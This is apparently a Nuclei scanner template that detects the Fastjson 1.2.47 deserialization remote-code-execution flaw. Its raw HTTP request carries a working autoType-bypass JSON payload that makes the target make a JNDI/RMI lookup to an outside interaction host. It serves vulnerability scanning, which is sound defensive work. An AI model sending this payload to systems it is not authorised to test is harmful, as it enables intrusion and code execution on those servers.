fastjson-1-2-47-rce: Fastjson 1.2.47 - Remote Code Execution

id: fastjson-1-2-47-rce

info:
  name: Fastjson 1.2.47 - Remote Code Execution
  author: zh
  severity: critical
  description: Fastjson 1.2.47 is susceptible to a deserialization remote code execution vulnerability.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce
    - https://www.freebuf.com/vuls/208339.html
    - https://cert.360.cn/warning/detail?id=7240aeab581c6dc2c9c5350756079955
    - https://github.com/wyzxxz/fastjson_rce_tool
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: rce,deserialization,oast,vulhub,fastjson,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
            "a":{
                "@type":"java.lang.Class",
                "val":"com.sun.rowset.JdbcRowSetImpl"
            },
            "b":{
                "@type":"com.sun.rowset.JdbcRowSetImpl",
                "dataSourceName":"rmi://{{interactsh-url}}/Exploit",
                "autoCommit":true
            }
        }

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms DNS Interaction
        words:
          - "dns"

      - type: word
        condition: and
        words:
          - "Bad Request"
          - "400"
# digest: 4b0a00483046022100b4199026d0ce0a5bc067b7bb1ca2e3dc079f653a3a476a505fcb89e1692e1b91022100e6b6b5493cacfe45734c59b9c11455454d2f7a5689b9cf1842116a79b88e894b:922c64590222798bb761d5b6d8e72950